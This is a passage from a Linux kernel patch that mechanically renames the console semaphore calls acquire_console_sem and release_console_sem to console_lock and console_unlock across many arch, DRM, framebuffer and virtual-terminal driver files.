 drivers/video/sh_mobile_hdmi.c         |    8 +-
 drivers/video/sh_mobile_lcdcfb.c       |    4 +-
 drivers/video/sm501fb.c                |    8 +-
 drivers/video/tmiofb.c                 |   10 ++--
 drivers/video/via/viafbdev.c           |    8 +-
 drivers/video/vt8623fb.c               |   12 ++--
 drivers/video/xen-fbfront.c            |    4 +-
 fs/proc/consoles.c                     |    4 +-
 include/linux/console.h                |    6 +-
 kernel/printk.c                        |  100 ++++++++++++++------------
 44 files changed, 336 insertions(+), 328 deletions(-)

diff --git a/arch/arm/mach-omap2/pm24xx.c b/arch/arm/mach-omap2/pm24xx.c
index 9e5dc8e..97feb3a 100644
--- a/arch/arm/mach-omap2/pm24xx.c
+++ b/arch/arm/mach-omap2/pm24xx.c
@@ -134,7 +134,7 @@ static void omap2_enter_full_retention(void)
 
 	/* Block console output in case it is on one of the OMAP UARTs */
 	if (!is_suspending())
-		if (try_acquire_console_sem())
+		if (!console_trylock())
 			goto no_sleep;
 
 	omap_uart_prepare_idle(0);
@@ -151,7 +151,7 @@ static void omap2_enter_full_retention(void)
 	omap_uart_resume_idle(0);
 
 	if (!is_suspending())
-		release_console_sem();
+		console_unlock();
 
 no_sleep:
 	if (omap2_pm_debug) {
diff --git a/arch/arm/mach-omap2/pm34xx.c b/arch/arm/mach-omap2/pm34xx.c
index 8cbbead..a4aa192 100644
--- a/arch/arm/mach-omap2/pm34xx.c
+++ b/arch/arm/mach-omap2/pm34xx.c
@@ -398,7 +398,7 @@ void omap_sram_idle(void)
 	if (!is_suspending())
 		if (per_next_state < PWRDM_POWER_ON ||
 		    core_next_state < PWRDM_POWER_ON)
-			if (try_acquire_console_sem())
+			if (!console_trylock())
 				goto console_still_active;
 
 	/* PER */
@@ -481,7 +481,7 @@ void omap_sram_idle(void)
 	}
 
 	if (!is_suspending())
-		release_console_sem();
+		console_unlock();
 
 console_still_active:
 	/* Disable IO-PAD and IO-CHAIN wakeup */
diff --git a/arch/arm/mach-omap2/serial.c b/arch/arm/mach-omap2/serial.c
index 302da74..32e91a9 100644
--- a/arch/arm/mach-omap2/serial.c
+++ b/arch/arm/mach-omap2/serial.c
@@ -812,7 +812,7 @@ void __init omap_serial_init_port(struct omap_board_data *bdata)
 
 	oh->dev_attr = uart;
 
-	acquire_console_sem(); /* in case the earlycon is on the UART */
+	console_lock(); /* in case the earlycon is on the UART */
 
 	/*
 	 * Because of early UART probing, UART did not get idled
@@ -838,7 +838,7 @@ void __init omap_serial_init_port(struct omap_board_data *bdata)
 	omap_uart_block_sleep(uart);
 	uart->timeout = DEFAULT_TIMEOUT;
 
-	release_console_sem();
+	console_unlock();
 
 	if ((cpu_is_omap34xx() && uart->padconf) ||
 	    (uart->wk_en && uart->wk_mask)) {
diff --git a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_cons.c
index 11bdd68..fc770be 100644
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -169,11 +169,11 @@ static int __init pdc_console_tty_driver_init(void)
 
 	struct console *tmp;
 
-	acquire_console_sem();
+	console_lock();
 	for_each_console(tmp)
 		if (tmp == &pdc_cons)
 			break;
-	release_console_sem();
+	console_unlock();
 
 	if (!tmp) {
 		printk(KERN_INFO "PDC console driver not registered anymore, not creating %s\n", pdc_cons.name);
diff --git a/drivers/char/bfin_jtag_comm.c b/drivers/char/bfin_jtag_comm.c
index e397df3..1640244 100644
--- a/drivers/char/bfin_jtag_comm.c
+++ b/drivers/char/bfin_jtag_comm.c
@@ -183,16 +183,16 @@ bfin_jc_circ_write(const unsigned char *buf, int count)
 }
 
 #ifndef CONFIG_BFIN_JTAG_COMM_CONSOLE
-# define acquire_console_sem()
-# define release_console_sem()
+# define console_lock()
+# define console_unlock()
 #endif
 static int
 bfin_jc_write(struct tty_struct *tty, const unsigned char *buf, int count)
 {
 	int i;
-	acquire_console_sem();
+	console_lock();
 	i = bfin_jc_circ_write(buf, count);
-	release_console_sem();
+	console_unlock();
 	wake_up_process(bfin_jc_kthread);
 	return i;
 }
diff --git a/drivers/gpu/drm/nouveau/nouveau_drv.c b/drivers/gpu/drm/nouveau/nouveau_drv.c
index 13bb672..f658a04 100644
--- a/drivers/gpu/drm/nouveau/nouveau_drv.c
+++ b/drivers/gpu/drm/nouveau/nouveau_drv.c
@@ -234,9 +234,9 @@ nouveau_pci_suspend(struct pci_dev *pdev, pm_message_t pm_state)
 		pci_set_power_state(pdev, PCI_D3hot);
 	}
 
-	acquire_console_sem();
+	console_lock();
 	nouveau_fbcon_set_suspend(dev, 1);
-	release_console_sem();
+	console_unlock();
 	nouveau_fbcon_restore_accel(dev);
 	return 0;
 
@@ -359,9 +359,9 @@ nouveau_pci_resume(struct pci_dev *pdev)
 		nv_crtc->lut.depth = 0;
 	}
 
-	acquire_console_sem();
+	console_lock();
 	nouveau_fbcon_set_suspend(dev, 0);
-	release_console_sem();
+	console_unlock();
 
 	nouveau_fbcon_zfill_all(dev);
 
diff --git a/drivers/gpu/drm/radeon/radeon_device.c b/drivers/gpu/drm/radeon/radeon_device.c
index 26091d6..0d47893 100644
--- a/drivers/gpu/drm/radeon/radeon_device.c
+++ b/drivers/gpu/drm/radeon/radeon_device.c
@@ -891,9 +891,9 @@ int radeon_suspend_kms(struct drm_device *dev, pm_message_t state)
 		pci_disable_device(dev->pdev);
 		pci_set_power_state(dev->pdev, PCI_D3hot);
 	}
-	acquire_console_sem();
+	console_lock();
 	radeon_fbdev_set_suspend(rdev, 1);
-	release_console_sem();
+	console_unlock();
 	return 0;
 }
 
@@ -905,11 +905,11 @@ int radeon_resume_kms(struct drm_device *dev)
 	if (dev->switch_power_state == DRM_SWITCH_POWER_OFF)
 		return 0;
 
-	acquire_console_sem();
+	console_lock();
 	pci_set_power_state(dev->pdev, PCI_D0);
 	pci_restore_state(dev->pdev);
 	if (pci_enable_device(dev->pdev)) {
-		release_console_sem();
+		console_unlock();
 		return -1;
 	}
 	pci_set_master(dev->pdev);
@@ -920,7 +920,7 @@ int radeon_resume_kms(struct drm_device *dev)
 	radeon_restore_bios_scratch_regs(rdev);
 
 	radeon_fbdev_set_suspend(rdev, 0);
-	release_console_sem();
+	console_unlock();
 
 	/* reset hpd state */
 	radeon_hpd_init(rdev);
diff --git a/drivers/serial/sb1250-duart.c b/drivers/serial/sb1250-duart.c
index a2f2b32..602d984 100644
--- a/drivers/serial/sb1250-duart.c
+++ b/drivers/serial/sb1250-duart.c
@@ -829,7 +829,7 @@ static void __init sbd_probe_duarts(void)
 #ifdef CONFIG_SERIAL_SB1250_DUART_CONSOLE
 /*
  * Serial console stuff.  Very basic, polling driver for doing serial
- * console output.  The console_sem is held by the caller, so we
+ * console output.  The console_lock is held by the caller, so we
  * shouldn't be interrupted for more console activity.
  */
 static void sbd_console_putchar(struct uart_port *uport, int ch)
diff --git a/drivers/staging/msm/msm_fb.c b/drivers/staging/msm/msm_fb.c
index 23fa049..a2f29d4 100644
--- a/drivers/staging/msm/msm_fb.c
+++ b/drivers/staging/msm/msm_fb.c
@@ -347,7 +347,7 @@ static int msm_fb_suspend(struct platform_device *pdev, pm_message_t state)
 	if ((!mfd) || (mfd->key != MFD_KEY))
 		return 0;
 
-	acquire_console_sem();
+	console_lock();
 	fb_set_suspend(mfd->fbi, 1);
 
 	ret = msm_fb_suspend_sub(mfd);
@@ -358,7 +358,7 @@ static int msm_fb_suspend(struct platform_device *pdev, pm_message_t state)
 		pdev->dev.power.power_state = state;
 	}
 
-	release_console_sem();
+	console_unlock();
 	return ret;
 }
 #else
@@ -431,11 +431,11 @@ static int msm_fb_resume(struct platform_device *pdev)
 	if ((!mfd) || (mfd->key != MFD_KEY))
 		return 0;
 
-	acquire_console_sem();
+	console_lock();
 	ret = msm_fb_resume_sub(mfd);
 	pdev->dev.power.power_state = PMSG_ON;
 	fb_set_suspend(mfd->fbi, 1);
-	release_console_sem();
+	console_unlock();
 
 	return ret;
 }
diff --git a/drivers/staging/olpc_dcon/olpc_dcon.c b/drivers/staging/olpc_dcon/olpc_dcon.c
index 9f26dc9..56a283d 100644
--- a/drivers/staging/olpc_dcon/olpc_dcon.c
+++ b/drivers/staging/olpc_dcon/olpc_dcon.c
@@ -373,17 +373,17 @@ static void dcon_source_switch(struct work_struct *work)
 		 *
 		 * For now, we just hope..
 		 */
-		acquire_console_sem();
+		console_lock();
 		ignore_fb_events = 1;
 		if (fb_blank(fbinfo, FB_BLANK_UNBLANK)) {
 			ignore_fb_events = 0;
-			release_console_sem();
+			console_unlock();
 			printk(KERN_ERR "olpc-dcon:  Failed to enter CPU mode\n");
 			dcon_pending = DCON_SOURCE_DCON;
 			return;
 		}
 		ignore_fb_events = 0;
-		release_console_sem();
+		console_unlock();
 
 		/* And turn off the DCON */
 		pdata->set_dconload(1);
@@ -435,12 +435,12 @@ static void dcon_source_switch(struct work_struct *work)
 			}
 		}
 
-		acquire_console_sem();
+		console_lock();
 		ignore_fb_events = 1;
 		if (fb_blank(fbinfo, FB_BLANK_POWERDOWN))
 			printk(KERN_ERR "olpc-dcon:  couldn't blank fb!\n");
 		ignore_fb_events = 0;
-		release_console_sem();
+		console_unlock();
 
 		printk(KERN_INFO "olpc-dcon: The DCON has control\n");
 		break;
diff --git a/drivers/staging/sm7xx/smtcfb.c b/drivers/staging/sm7xx/smtcfb.c
index 0bc113c..d007e4a 100644
--- a/drivers/staging/sm7xx/smtcfb.c
+++ b/drivers/staging/sm7xx/smtcfb.c
@@ -1044,9 +1044,9 @@ static int __maybe_unused smtcfb_suspend(struct pci_dev *pdev, pm_message_t msg)
 
 	/* when doing suspend, call fb apis and pci apis */
 	if (msg.event == PM_EVENT_SUSPEND) {
-		acquire_console_sem();
+		console_lock();
 		fb_set_suspend(&sfb->fb, 1);
-		release_console_sem();
+		console_unlock();
 		retv = pci_save_state(pdev);
 		pci_disable_device(pdev);
 		retv = pci_choose_state(pdev, msg);
@@ -1105,9 +1105,9 @@ static int __maybe_unused smtcfb_resume(struct pci_dev *pdev)
 
 	smtcfb_setmode(sfb);
 
-	acquire_console_sem();
+	console_lock();
 	fb_set_suspend(&sfb->fb, 0);
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index 464d09d..6158eae 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -3256,7 +3256,7 @@ static ssize_t show_cons_active(struct device *dev,
 	struct console *c;
 	ssize_t count = 0;
 
-	acquire_console_sem();
+	console_lock();
 	for (c = console_drivers; c; c = c->next) {
 		if (!c->device)
 			continue;
@@ -3271,7 +3271,7 @@ static ssize_t show_cons_active(struct device *dev,
 	while (i--)
 		count += sprintf(buf + count, "%s%d%c",
 				 cs[i]->name, cs[i]->index, i ? ' ':'\n');
-	release_console_sem();
+	console_unlock();
 
 	return count;
 }
diff --git a/drivers/tty/vt/selection.c b/drivers/tty/vt/selection.c
index ebae344..c956ed6 100644
--- a/drivers/tty/vt/selection.c
+++ b/drivers/tty/vt/selection.c
@@ -316,9 +316,9 @@ int paste_selection(struct tty_struct *tty)
 	/* always called with BTM from vt_ioctl */
 	WARN_ON(!tty_locked());
 
-	acquire_console_sem();
+	console_lock();
 	poke_blanked_console();
-	release_console_sem();
+	console_unlock();
 
 	ld = tty_ldisc_ref(tty);
 	if (!ld) {
diff --git a/drivers/tty/vt/vc_screen.c b/drivers/tty/vt/vc_screen.c
index eab3a1f..a672ed1 100644
--- a/drivers/tty/vt/vc_screen.c
+++ b/drivers/tty/vt/vc_screen.c
@@ -202,7 +202,7 @@ vcs_read(struct file *file, char __user *buf, size_t count, loff_t *ppos)
 	/* Select the proper current console and verify
 	 * sanity of the situation under the console lock.
 	 */
-	acquire_console_sem();
+	console_lock();
 
 	attr = (currcons & 128);
 	currcons = (currcons & 127);
@@ -336,9 +336,9 @@ vcs_read(struct file *file, char __user *buf, size_t count, loff_t *ppos)
 		 * the pagefault handling code may want to call printk().
 		 */
 
-		release_console_sem();
+		console_unlock();
 		ret = copy_to_user(buf, con_buf_start, orig_count);
-		acquire_console_sem();
+		console_lock();
 
 		if (ret) {
 			read += (orig_count - ret);
@@ -354,7 +354,7 @@ vcs_read(struct file *file, char __user *buf, size_t count, loff_t *ppos)
 	if (read)
 		ret = read;
 unlock_out:
-	release_console_sem();
+	console_unlock();
 	mutex_unlock(&con_buf_mtx);
 	return ret;
 }
@@ -379,7 +379,7 @@ vcs_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos)
 	/* Select the proper current console and verify
 	 * sanity of the situation under the console lock.
 	 */
-	acquire_console_sem();
+	console_lock();
 
 	attr = (currcons & 128);
 	currcons = (currcons & 127);
@@ -414,9 +414,9 @@ vcs_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos)
 		/* Temporarily drop the console lock so that we can read
 		 * in the write data from userspace safely.
 		 */
-		release_console_sem();
+		console_unlock();
 		ret = copy_from_user(con_buf, buf, this_round);
-		acquire_console_sem();
+		console_lock();
 
 		if (ret) {
 			this_round -= ret;
@@ -542,7 +542,7 @@ vcs_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos)
 		vcs_scr_updated(vc);
 
 unlock_out:
-	release_console_sem();
+	console_unlock();
 
 	mutex_unlock(&con_buf_mtx);
 
diff --git a/drivers/tty/vt/vt.c b/drivers/tty/vt/vt.c
index 76407ec..b230bd3 100644
--- a/drivers/tty/vt/vt.c
+++ b/drivers/tty/vt/vt.c
@@ -1003,9 +1003,9 @@ static int vt_resize(struct tty_struct *tty, struct winsize *ws)
 	struct vc_data *vc = tty->driver_data;
 	int ret;
 
-	acquire_console_sem();
+	console_lock();
 	ret = vc_do_resize(tty, vc, ws->ws_col, ws->ws_row);
-	release_console_sem();
+	console_unlock();
 	return ret;
 }
 
@@ -1271,7 +1271,7 @@ static void default_attr(struct vc_data *vc)
 	vc->vc_color = vc->vc_def_color;
 }
 
-/* console_sem is held */
+/* console_lock is held */
 static void csi_m(struct vc_data *vc)
 {
 	int i;
@@ -1415,7 +1415,7 @@ int mouse_reporting(void)
 	return vc_cons[fg_console].d->vc_report_mouse;
 }
 
-/* console_sem is held */
+/* console_lock is held */
 static void set_mode(struct vc_data *vc, int on_off)
 {
 	int i;
@@ -1485,7 +1485,7 @@ static void set_mode(struct vc_data *vc, int on_off)
 		}
 }
 
-/* console_sem is held */
+/* console_lock is held */
 static void setterm_command(struct vc_data *vc)
 {
 	switch(vc->vc_par[0]) {
@@ -1545,7 +1545,7 @@ static void setterm_command(struct vc_data *vc)
 	}
 }
 
-/* console_sem is held */
+/* console_lock is held */
 static void csi_at(struct vc_data *vc, unsigned int nr)
 {
 	if (nr > vc->vc_cols - vc->vc_x)
@@ -1555,7 +1555,7 @@ static void csi_at(struct vc_data *vc, unsigned int nr)
 	insert_char(vc, nr);
 }
 
-/* console_sem is held */
+/* console_lock is held */
 static void csi_L(struct vc_data *vc, unsigned int nr)
 {
 	if (nr > vc->vc_rows - vc->vc_y)
@@ -1566,7 +1566,7 @@ static void csi_L(struct vc_data *vc, unsigned int nr)
 	vc->vc_need_wrap = 0;
 }
 
-/* console_sem is held */
+/* console_lock is held */
 static void csi_P(struct vc_data *vc, unsigned int nr)
 {
 	if (nr > vc->vc_cols - vc->vc_x)
@@ -1576,7 +1576,7 @@ static void csi_P(struct vc_data *vc, unsigned int nr)
 	delete_char(vc, nr);
 }
 
-/* console_sem is held */
+/* console_lock is held */
 static void csi_M(struct vc_data *vc, unsigned int nr)
 {
 	if (nr > vc->vc_rows - vc->vc_y)
@@ -1587,7 +1587,7 @@ static void csi_M(struct vc_data *vc, unsigned int nr)
 	vc->vc_need_wrap = 0;
 }
 
-/* console_sem is held (except via vc_init->reset_terminal */
+/* console_lock is held (except via vc_init->reset_terminal */
 static void save_cur(struct vc_data *vc)
 {
 	vc->vc_saved_x		= vc->vc_x;
@@ -1603,7 +1603,7 @@ static void save_cur(struct vc_data *vc)
 	vc->vc_saved_G1		= vc->vc_G1_charset;
 }
 
-/* console_sem is held */
+/* console_lock is held */
 static void restore_cur(struct vc_data *vc)
 {
 	gotoxy(vc, vc->vc_saved_x, vc->vc_saved_y);
@@ -1625,7 +1625,7 @@ enum { ESnormal, ESesc, ESsquare, ESgetpars, ESgotpars, ESfunckey,
 	EShash, ESsetG0, ESsetG1, ESpercent, ESignore, ESnonstd,
 	ESpalette };
 
-/* console_sem is held (except via vc_init()) */
+/* console_lock is held (except via vc_init()) */
 static void reset_terminal(struct vc_data *vc, int do_clear)
 {
 	vc->vc_top		= 0;
@@ -1685,7 +1685,7 @@ static void reset_terminal(struct vc_data *vc, int do_clear)
 	    csi_J(vc, 2);
 }
 
-/* console_sem is held */
+/* console_lock is held */
 static void do_con_trol(struct tty_struct *tty, struct vc_data *vc, int c)
 {
 	/*
@@ -2119,7 +2119,7 @@ static int is_double_width(uint32_t ucs)
 	return bisearch(ucs, double_width, ARRAY_SIZE(double_width) - 1);
 }
 
-/* acquires console_sem */
+/* acquires console_lock */
 static int do_con_write(struct tty_struct *tty, const unsigned char *buf, int count)
 {
 #ifdef VT_BUF_VRAM_ONLY
@@ -2147,11 +2147,11 @@ static int do_con_write(struct tty_struct *tty, const unsigned char *buf, int co
 
 	might_sleep();
 
-	acquire_console_sem();
+	console_lock();
 	vc = tty->driver_data;
 	if (vc == NULL) {
 		printk(KERN_ERR "vt: argh, driver_data is NULL !\n");
-		release_console_sem();
+		console_unlock();
 		return 0;
 	}
 
@@ -2159,7 +2159,7 @@ static int do_con_write(struct tty_struct *tty, const unsigned char *buf, int co
 	if (!vc_cons_allocated(currcons)) {
 	    /* could this happen? */
 		printk_once("con_write: tty %d not allocated\n", currcons+1);
-	    release_console_sem();
+	    console_unlock();
 	    return 0;
 	}
 
@@ -2375,7 +2375,7 @@ rescan_last_byte:
 	}
 	FLUSH
 	console_conditional_schedule();
-	release_console_sem();
+	console_unlock();
 	notify_update(vc);
 	return n;
 #undef FLUSH
@@ -2388,11 +2388,11 @@ rescan_last_byte:
  * us to do the switches asynchronously (needed when we want
  * to switch due to a keyboard interrupt).  Synchronization
  * with other console code and prevention of re-entrancy is
- * ensured with console_sem.
+ * ensured with console_lock.
  */
 static void console_callback(struct work_struct *ignored)
 {
-	acquire_console_sem();
+	console_lock();
 
 	if (want_console >= 0) {
 		if (want_console != fg_console &&
@@ -2422,7 +2422,7 @@ static void console_callback(struct work_struct *ignored)
 	}
 	notify_update(vc_cons[fg_console].d);
 
-	release_console_sem();
+	console_unlock();
 }
 
 int set_console(int nr)
@@ -2603,7 +2603,7 @@ static struct console vt_console_driver = {
  */
 
 /*
- * Generally a bit racy with respect to console_sem().
+ * Generally a bit racy with respect to console_lock();.
  *
  * There are some functions which don't need it.
  *
@@ -2629,17 +2629,17 @@ int tioclinux(struct tty_struct *tty, unsigned long arg)
 	switch (type)
 	{
 		case TIOCL_SETSEL:
-			acquire_console_sem();
+			console_lock();
 			ret = set_selection((struct tiocl_selection __user *)(p+1), tty);
-			release_console_sem();
+			console_unlock();
 			break;
 		case TIOCL_PASTESEL:
 			ret = paste_selection(tty);
 			break;
 		case TIOCL_UNBLANKSCREEN:
-			acquire_console_sem();
+			console_lock();
 			unblank_screen();
-			release_console_sem();
+			console_unlock();
 			break;
 		case TIOCL_SELLOADLUT:
 			ret = sel_loadlut(p);
@@ -2688,10 +2688,10 @@ int tioclinux(struct tty_struct *tty, unsigned long arg)
 			}
 			break;
 		case TIOCL_BLANKSCREEN:	/* until explicitly unblanked, not only poked */
-			acquire_console_sem();
+			console_lock();
 			ignore_poke = 1;
 			do_blank_screen(0);
-			release_console_sem();
+			console_unlock();
 			break;
 		case TIOCL_BLANKEDSCREEN:
 			ret = console_blanked;
@@ -2790,11 +2790,11 @@ static void con_flush_chars(struct tty_struct *tty)
 		return;
 
 	/* if we race with con_close(), vt may be null */
-	acquire_console_sem();
+	console_lock();
 	vc = tty->driver_data;
 	if (vc)
 		set_cursor(vc);
-	release_console_sem();
+	console_unlock();
 }
 
 /*
@@ -2805,7 +2805,7 @@ static int con_open(struct tty_struct *tty, struct file *filp)
 	unsigned int currcons = tty->index;
 	int ret = 0;
 
-	acquire_console_sem();
+	console_lock();
 	if (tty->driver_data == NULL) {
 		ret = vc_allocate(currcons);
 		if (ret == 0) {
@@ -2813,7 +2813,7 @@ static int con_open(struct tty_struct *tty, struct file *filp)
 
 			/* Still being freed */
 			if (vc->port.tty) {
-				release_console_sem();
+				console_unlock();
 				return -ERESTARTSYS;
 			}
 			tty->driver_data = vc;
@@ -2827,11 +2827,11 @@ static int con_open(struct tty_struct *tty, struct file *filp)
 				tty->termios->c_iflag |= IUTF8;
 			else
 				tty->termios->c_iflag &= ~IUTF8;
-			release_console_sem();
+			console_unlock();
 			return ret;
 		}
 	}
-	release_console_sem();
+	console_unlock();
 	return ret;
 }
 
@@ -2844,9 +2844,9 @@ static void con_shutdown(struct tty_struct *tty)
 {
 	struct vc_data *vc = tty->driver_data;
 	BUG_ON(vc == NULL);
-	acquire_console_sem();
+	console_lock();
 	vc->port.tty = NULL;
-	release_console_sem();
+	console_unlock();
 	tty_shutdown(tty);
 }
 
@@ -2893,13 +2893,13 @@ static int __init con_init(void)
 	struct vc_data *vc;
 	unsigned int currcons = 0, i;
 
-	acquire_console_sem();
+	console_lock();
 
 	if (conswitchp)
 		display_desc = conswitchp->con_startup();
 	if (!display_desc) {
 		fg_console = 0;
-		release_console_sem();
+		console_unlock();
 		return 0;
 	}
 
@@ -2946,7 +2946,7 @@ static int __init con_init(void)
 	printable = 1;
 	printk("\n");
 
-	release_console_sem();
+	console_unlock();
 
 #ifdef CONFIG_VT_CONSOLE
 	register_console(&vt_console_driver);
@@ -3037,7 +3037,7 @@ static int bind_con_driver(const struct consw *csw, int first, int last,
 	if (!try_module_get(owner))
 		return -ENODEV;
 
-	acquire_console_sem();
+	console_lock();
 
 	/* check if driver is registered */
 	for (i = 0; i < MAX_NR_CON_DRIVER; i++) {
@@ -3122,7 +3122,7 @@ static int bind_con_driver(const struct consw *csw, int first, int last,
 
 	retval = 0;
 err:
-	release_console_sem();
+	console_unlock();
 	module_put(owner);
 	return retval;
 };
@@ -3171,7 +3171,7 @@ int unbind_con_driver(const struct consw *csw, int first, int last, int deflt)
 	if (!try_module_get(owner))
 		return -ENODEV;
 
-	acquire_console_sem();
+	console_lock();
 
 	/* check if driver is registered and if it is unbindable */
 	for (i = 0; i < MAX_NR_CON_DRIVER; i++) {
@@ -3185,7 +3185,7 @@ int unbind_con_driver(const struct consw *csw, int first, int last, int deflt)
 	}
 
 	if (retval) {
-		release_console_sem();
+		console_unlock();
 		goto err;
 	}
 
@@ -3204,12 +3204,12 @@ int unbind_con_driver(const struct consw *csw, int first, int last, int deflt)
 	}
 
 	if (retval) {
-		release_console_sem();
+		console_unlock();
 		goto err;
 	}
 
 	if (!con_is_bound(csw)) {
-		release_console_sem();
+		console_unlock();
 		goto err;
 	}
 
@@ -3238,7 +3238,7 @@ int unbind_con_driver(const struct consw *csw, int first, int last, int deflt)
 	if (!con_is_bound(csw))
 		con_driver->flag &= ~CON_DRIVER_FLAG_INIT;
 
-	release_console_sem();
+	console_unlock();
 	/* ignore return value, binding should not fail */
 	bind_con_driver(defcsw, first, last, deflt);
 err:
@@ -3538,7 +3538,7 @@ int register_con_driver(const struct consw *csw, int first, int last)
 	if (!try_module_get(owner))
 		return -ENODEV;
 
-	acquire_console_sem();
+	console_lock();
 
 	for (i = 0; i < MAX_NR_CON_DRIVER; i++) {
 		con_driver = &registered_con_driver[i];
@@ -3592,7 +3592,7 @@ int register_con_driver(const struct consw *csw, int first, int last)
 	}
 
 err:
-	release_console_sem();
+	console_unlock();
 	module_put(owner);
 	return retval;
 }
@@ -3613,7 +3613,7 @@ int unregister_con_driver(const struct consw *csw)
 {
 	int i, retval = -ENODEV;
 
-	acquire_console_sem();
+	console_lock();
 
 	/* cannot unregister a bound driver */
 	if (con_is_bound(csw))
@@ -3639,7 +3639,7 @@ int unregister_con_driver(const struct consw *csw)
 		}
 	}
 err:
-	release_console_sem();
+	console_unlock();
 	return retval;
 }
 EXPORT_SYMBOL(unregister_con_driver);
@@ -3934,9 +3934,9 @@ int con_set_cmap(unsigned char __user *arg)
 {
 	int rc;
 
-	acquire_console_sem();
+	console_lock();
 	rc = set_get_cmap (arg,1);
-	release_console_sem();
+	console_unlock();
 
 	return rc;
 }
@@ -3945,9 +3945,9 @@ int con_get_cmap(unsigned char __user *arg)
 {
 	int rc;
 
-	acquire_console_sem();
+	console_lock();
 	rc = set_get_cmap (arg,0);
-	release_console_sem();
+	console_unlock();
 
 	return rc;
 }
@@ -3994,12 +3994,12 @@ static int con_font_get(struct vc_data *vc, struct console_font_op *op)
 	} else
 		font.data = NULL;
 
-	acquire_console_sem();
+	console_lock();
 	if (vc->vc_sw->con_font_get)
 		rc = vc->vc_sw->con_font_get(vc, &font);
 	else
 		rc = -ENOSYS;
-	release_console_sem();
+	console_unlock();
 
 	if (rc)
 		goto out;
@@ -4076,12 +4076,12 @@ static int con_font_set(struct vc_data *vc, struct console_font_op *op)
 	font.data = memdup_user(op->data, size);
 	if (IS_ERR(font.data))
 		return PTR_ERR(font.data);
-	acquire_console_sem();
+	console_lock();
 	if (vc->vc_sw->con_font_set)
 		rc = vc->vc_sw->con_font_set(vc, &font, op->flags);
 	else
 		rc = -ENOSYS;
-	release_console_sem();
+	console_unlock();
 	kfree(font.data);
 	return rc;
 }
@@ -4103,12 +4103,12 @@ static int con_font_default(struct vc_data *vc, struct console_font_op *op)
 	else
 		name[MAX_FONT_NAME - 1] = 0;
 
-	acquire_console_sem();
+	console_lock();
 	if (vc->vc_sw->con_font_default)
 		rc = vc->vc_sw->con_font_default(vc, &font, s);
 	else
 		rc = -ENOSYS;
-	release_console_sem();
+	console_unlock();
 	if (!rc) {
 		op->width = font.width;
 		op->height = font.height;
@@ -4124,7 +4124,7 @@ static int con_font_copy(struct vc_data *vc, struct console_font_op *op)
 	if (vc->vc_mode != KD_TEXT)
 		return -EINVAL;
 
-	acquire_console_sem();
+	console_lock();
 	if (!vc->vc_sw->con_font_copy)
 		rc = -ENOSYS;
 	else if (con < 0 || !vc_cons_allocated(con))
@@ -4133,7 +4133,7 @@ static int con_font_copy(struct vc_data *vc, struct console_font_op *op)
 		rc = 0;
 	else
 		rc = vc->vc_sw->con_font_copy(vc, con);
-	release_console_sem();
+	console_unlock();
 	return rc;
 }
 
diff --git a/drivers/tty/vt/vt_ioctl.c b/drivers/tty/vt/vt_ioctl.c
index 6b68a0f..1235ebd 100644
--- a/drivers/tty/vt/vt_ioctl.c
+++ b/drivers/tty/vt/vt_ioctl.c
@@ -649,12 +649,12 @@ int vt_ioctl(struct tty_struct *tty, struct file * file,
 		/*
 		 * explicitly blank/unblank the screen if switching modes
 		 */
-		acquire_console_sem();
+		console_lock();
 		if (arg == KD_TEXT)
 			do_unblank_screen(1);
 		else
 			do_blank_screen(1);
-		release_console_sem();
+		console_unlock();
 		break;
 
 	case KDGETMODE:
@@ -893,7 +893,7 @@ int vt_ioctl(struct tty_struct *tty, struct file * file,
 			ret = -EINVAL;
 			goto out;
 		}
-		acquire_console_sem();
+		console_lock();
 		vc->vt_mode = tmp;
 		/* the frsig is ignored, so we set it to 0 */
 		vc->vt_mode.frsig = 0;
@@ -901,7 +901,7 @@ int vt_ioctl(struct tty_struct *tty, struct file * file,
 		vc->vt_pid = get_pid(task_pid(current));
 		/* no switch is required -- saw@shade.msu.ru */
 		vc->vt_newvt = -1;
-		release_console_sem();
+		console_unlock();
 		break;
 	}
 
@@ -910,9 +910,9 @@ int vt_ioctl(struct tty_struct *tty, struct file * file,
 		struct vt_mode tmp;
 		int rc;
 
-		acquire_console_sem();
+		console_lock();
 		memcpy(&tmp, &vc->vt_mode, sizeof(struct vt_mode));
-		release_console_sem();
+		console_unlock();
 
 		rc = copy_to_user(up, &tmp, sizeof(struct vt_mode));
 		if (rc)
@@ -965,9 +965,9 @@ int vt_ioctl(struct tty_struct *tty, struct file * file,
 			ret =  -ENXIO;
 		else {
 			arg--;
-			acquire_console_sem();
+			console_lock();
 			ret = vc_allocate(arg);
-			release_console_sem();
+			console_unlock();
 			if (ret)
 				break;
 			set_console(arg);
@@ -990,7 +990,7 @@ int vt_ioctl(struct tty_struct *tty, struct file * file,
 			ret = -ENXIO;
 		else {
 			vsa.console--;
-			acquire_console_sem();
+			console_lock();
 			ret = vc_allocate(vsa.console);
 			if (ret == 0) {
 				struct vc_data *nvc;
@@ -1003,7 +1003,7 @@ int vt_ioctl(struct tty_struct *tty, struct file * file,
 				put_pid(nvc->vt_pid);
 				nvc->vt_pid = get_pid(task_pid(current));
 			}
-			release_console_sem();
+			console_unlock();
 			if (ret)
 				break;
 			/* Commence switch and lock */
@@ -1044,7 +1044,7 @@ int vt_ioctl(struct tty_struct *tty, struct file * file,
 		/*
 		 * Switching-from response
 		 */
-		acquire_console_sem();
+		console_lock();
 		if (vc->vt_newvt >= 0) {
 			if (arg == 0)
 				/*
@@ -1063,7 +1063,7 @@ int vt_ioctl(struct tty_struct *tty, struct file * file,
 				vc->vt_newvt = -1;
 				ret = vc_allocate(newvt);
 				if (ret) {
-					release_console_sem();
+					console_unlock();
 					break;
 				}
 				/*
@@ -1083,7 +1083,7 @@ int vt_ioctl(struct tty_struct *tty, struct file * file,
 			if (arg != VT_ACKACQ)
 				ret = -EINVAL;
 		}
-		release_console_sem();
+		console_unlock();
 		break;
 
 	 /*
@@ -1096,20 +1096,20 @@ int vt_ioctl(struct tty_struct *tty, struct file * file,
 		}
 		if (arg == 0) {
 		    /* deallocate all unused consoles, but leave 0 */
-			acquire_console_sem();
